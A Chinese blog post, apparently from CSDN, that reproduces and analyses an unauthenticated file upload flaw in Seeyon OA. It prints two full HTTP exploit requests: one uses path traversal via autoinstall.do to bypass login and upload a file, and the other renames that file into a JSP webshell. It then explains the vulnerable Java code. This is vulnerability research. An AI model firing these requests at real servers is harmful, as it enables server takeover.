最新致远OA文件上传漏洞深度分析与扩展

加微信即可加入WingBy交流群 (不存在娱乐化)一个可以交流CTF、WEB、内网、免杀、红队、蓝队、java/php代码审计、逆向、云安全、CNVD、证书挖掘的交流群..........

图片

漏洞复现

首先复现一下漏洞

POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
Content-Length: 3502

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="type"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="extensions"

png
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="applicationCategory"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="destDirectory"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="destFilename"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="maxSize"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="isEncrypt"

false
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file1"; filename="1.png"
Content-Type: Content-Type: application/pdf


webshell
------WebKitFormBoundary7MA4YWxkTrZu0gW--

图片

POST /seeyon/autoinstall.do/../../seeyon/privilege/menu.do HTTP/1.1
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
Content-Length: 65

method=uploadMenuIcon&fileid=-2**********&filename=bb.jsp

图片

最终访问 /seeyon/main/menuIcon/shell.jsp  即可

代码分析

为什么两个请求都要用到目录穿越?

这里表示用于所有以 /autoinstall.do 开头的请求。

<not_need_logon>标签,顾名思义就说不需要登录。

所以做目录穿越的时候都是使用的/seeyon/autoinstall.do

图片

试试其他的可不可以呢 首先不目录穿越是这样的

图片

而使用了genericController.do是这样的

图片

这和autoinstall.do是一模一样的

图片

所以不止是autoinstall.do可以。

那么这里为啥要用目录穿越了,了解java权限绕过的师傅们应该知道。在filter处理时,逻辑是只要是autoinstall.do开头的就不需要登录,那么payload中/seeyon/autoinstall.do/../../seeyon/privilege/menu.do是autoinstall.do开头,所以满足条件任务不需要登录也可访问(/seeyon是bashurl)。

所以两个请求都用到目录穿越是为了绕过鉴权验证,达到未授权的效果。

分析两次请求

分析第一个请求 在配置文件中找到处理fileupload.do的类是FileUploadController类

图片

这样就定位到了处理fileupload.do对应的控制器了

图片

先看代码首位

ModelAndView modelAndView = new ModelAndView("ctp/common/fileUpload/upload");
...................
................................
...................
return modelAndView;

分别是创建了一个视图,试图的路径是ctp/common/fileUpload/upload.jsp,也就是文件上传时候那个jsp  如图位置

图片

在控制器中,这里 进行了文件上传处理 前面都是一些其他逻辑处理 跟进去看看

图片

发现改接口有一个实现类

图片

实现类调用了uploadFiles函数

图片

这里才是真正的处理实现

图片

对于后缀的判断处理代码如下  可以看到判断后缀还是毕竟严格 是将jsp当作了黑名单  所以第一个请求仅仅是上传了一个png

图片

竟然只是将jsp列入了黑名单,那是不是可以上传html打xss呢  

试试看 还真是上传成功了 所以确实只是不能上传jsp,其他都可以正常上传的

图片

文件上传看完了,再来看看关键的第二次请求。可以看到第二次请求是对之前上传的文件进行名称修改,让它变成webshell

第二请求是menu.do 对于处理的控制器如图是MenuController

图片

控制器中有一个  method=uploadMenuIcon

图片

复制关键代码方便查看

File file = fileManager.getFile(Long.valueOf(Long.parseLong(request.getParameter("fileid"))), new Date());
        String filePath = (new StringBuilder(String.valueOf(AppContext.getSystemProperty("ApplicationRoot")))).append(File.separator).append("main").append(File.separator).append("menuIcon").append(File.separator).toString();
        File rootDirectory = new File(filePath);
        if(!rootDirectory.exists())
            rootDirectory.mkdirs();
        String fielName = request.getParameter("filename");
        File fileNew = new File((new StringBuilder(String.valueOf(filePath))).append(fielName).toString());
        if(!fileNew.exists())
            fileNew.createNewFile();
        java.io.InputStream in = new FileInputStream(file);
        java.io.OutputStream out = new FileOutputStream(fileNew);

可以看到根据fileid获取file,然后filepath是文件落地的路径,通过拼接发现最终落地的位置是/main/menuIcon加上/seeyon也就是/seeyon/main/menuIcon,而创建的文件的名字是filename,是没有进行任何过滤的,所以可以是jsp后缀文件。

关键就说这个fileid,我们回想一下第一个请求的代码中是不是也有个fileid

图片

然后在processupload中有这段代码

图片

att是一个Attachment对象 看看这个对象长啥样

图片

可以看到有fileUrl = file.getId(); 这个getId其实就说获取fileid也就是前面那个uuid,在jsp中也就是fileurl

图片

所以第二个请求中的fileid,其实就是第一个请求中返回的fileUrl

图片

这里这个漏洞所有的地方就分析结束了

  • 14
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
致远OA存在文件上传漏洞,攻击者可以通过调用文件上传接口上传恶意文件,从而执行任意系统命令并控制目标服务器。\[2\]\[3\]该漏洞影响范围包括致远OA V8.0、V7.1、V7.0、V6.0、V6.1以及致远OA G6等版本。\[1\]攻击者可以通过构造精心设计的数据向目标服务器写入任意文件,并在写入成功后执行任意系统命令。这个漏洞的危害性非常高,因此建议用户及时升级致远OA的版本或者采取其他安全措施来防止此漏洞的利用。 #### 引用[.reference_title] - *1* [致远OA ajax.do 任意文件上传 (CNVD-2021-01627) 漏洞复现](https://blog.csdn.net/qq2539879928/article/details/127811719)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现](https://blog.csdn.net/qq2539879928/article/details/127811791)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现](https://blog.csdn.net/qq2539879928/article/details/127811833)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值